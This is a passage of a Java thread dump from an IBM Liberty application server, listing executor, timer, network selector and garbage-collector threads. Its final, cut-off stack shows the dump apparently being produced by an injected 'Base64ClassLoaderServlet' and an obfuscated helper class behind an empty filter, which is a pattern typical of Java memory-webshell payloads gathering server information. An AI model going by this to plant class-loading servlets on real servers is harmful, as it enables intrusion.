java.base/java.lang.Thread.run(Unknown Source) + +"zip file reaper" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42547501 + java.lang.Thread.State: WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:1191) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:442) + at java.base/java.lang.Thread.run(Unknown Source) + +"Equinox start level thread - Equinox Container: 0f0cbcf6-4860-46b1-8ce1-123bf2ec2b3b" #42 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bbe98a88 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-7" #67 daemon [TIMED_WAITING] on java.util.TaskQueue@7abec7bb + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Inbound Read Selector.1" #106 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"Shared TCPChannel NonBlocking Accept Thread" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-3" #33 [TIMED_WAITING] on java.util.TaskQueue@b64c42f2 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Inbound Read Selector.1" #104 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"Thread-24" #103 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base/java.net.AbstractPlainSocketImpl.accept(Unknown Source) + at java.base/java.net.ServerSocket.implAccept(Unknown Source) + at java.base/sun.security.ssl.SSLServerSocketImpl.accept(Unknown Source) + at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:128) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:177) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:35) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:39) + at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source) + at java.base/java.util.concurrent.FutureTask.run(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-4" #57 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f7e2e23b + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-56504D5B701409AB-2" #74 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@6ef66fb6 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-21" #100 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5154d6ca + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-3" #55 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@9a6c246 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-56504D5B701409AB-5" #77 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@356d599b + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-56504D5B701409AB-4" #76 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@d8ac46d5 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-2" #31 daemon [WAITING] on java.util.TaskQueue@c488d7bb + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"GC Worker" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-17" #93 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a2489cda + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-1" #30 daemon [WAITING] on java.util.TaskQueue@b14a0825 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"kernel-command-listener" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at java.base/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at java.base/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:370) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.startListening(ServerCommandListener.java:355) + at com.ibm.ws.kernel.launch.internal.FrameworkManager$6.run(FrameworkManager.java:891) + +"GC Worker" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"VM Runtime State Listener" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-22" #101 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c9a19be0 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-56504D5B701409AB-1" #73 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@36255357 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-1" #53 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@11a4e20e + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Inbound Write Selector.1" #86 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-18" #97 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@b2114b74 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Bundle File Closer" #56 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@c200ab96 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341) + +"GC Worker" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT Compilation Thread-003" #6 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-0" #29 [TIMED_WAITING] on java.util.TaskQueue@a2d36949 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Default Executor-thread-5" #62 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@84ebf0aa + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Outbound Read Selector.1" #108 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"Inbound Read Selector.1" #85 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"UniqueKeyRangeManager" #71 daemon [WAITING] on java.util.LinkedList@bdf7140b + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager.run(UniqueKeyRangeManager.java:327) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-004" #7 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Start Level: Equinox Container: 0f0cbcf6-4860-46b1-8ce1-123bf2ec2b3b" #40 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@81c3eb7d + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341) + +"Equinox start level thread - Equinox Container: 0f0cbcf6-4860-46b1-8ce1-123bf2ec2b3b" #41 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bbe98a88 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@3f09835e + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:173) + at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:312) + at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:217) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:847) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:334) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:114) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:100) + at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:214) + at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:241) + at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:117) + at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:59) + at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:35) + +"Executor Service Control Timer" #50 daemon [TIMED_WAITING] on java.util.TaskQueue@ff1f0b36 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"GC Worker" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-23" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base/java.net.AbstractPlainSocketImpl.accept(Unknown Source) + at java.base/java.net.ServerSocket.implAccept(Unknown Source) + at java.base/java.net.ServerSocket.accept(Unknown Source) + at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:128) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:177) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:35) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:39) + at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source) + at java.base/java.util.concurrent.FutureTask.run(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-8" #66 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@ef0839f0 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Outbound Write Selector.1" #109 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"Equinox start level thread - Equinox Container: 0f0cbcf6-4860-46b1-8ce1-123bf2ec2b3b" #43 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bbe98a88 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-2" #54 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c5f94928 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Inbound Read Selector.1" #59 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-56504D5B701409AB-3" #75 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@bfc429c4 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"Concurrent Mark Helper" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-11" #87 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@4b7d8f07 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-56504D5B701409AB-0" #72 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@2a00cd5f + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"Inbound Write Selector.1" #60 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-12" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/java.lang.Thread.getStackTrace(Unknown Source) + at java.base/java.lang.Thread.getAllStackTraces(Unknown Source) + at org.apache.commons.ezPFH.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base/java.lang.String.valueOf(Unknown Source) + at java.base/java.io.PrintWriter.print(Unknown Source) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1258) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:746) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:443) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:193) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:98) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:91) + at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:56) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:91) + at 